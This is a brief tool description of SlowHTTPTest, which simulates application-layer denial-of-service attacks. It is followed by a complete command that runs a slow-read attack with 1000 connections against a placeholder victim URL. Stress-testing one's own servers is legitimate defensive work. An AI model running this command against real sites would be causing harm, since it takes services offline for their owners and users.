SlowHTTPTest is a highly configurable tool that simulates some Application Layer Denial of Service attacks. It works on majority of Linux platforms, OSX and Cygwin - a Unix-like environment and command-line interface for Microsoft Windows.

slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://www.(URLVICTIMe).com/ -p 3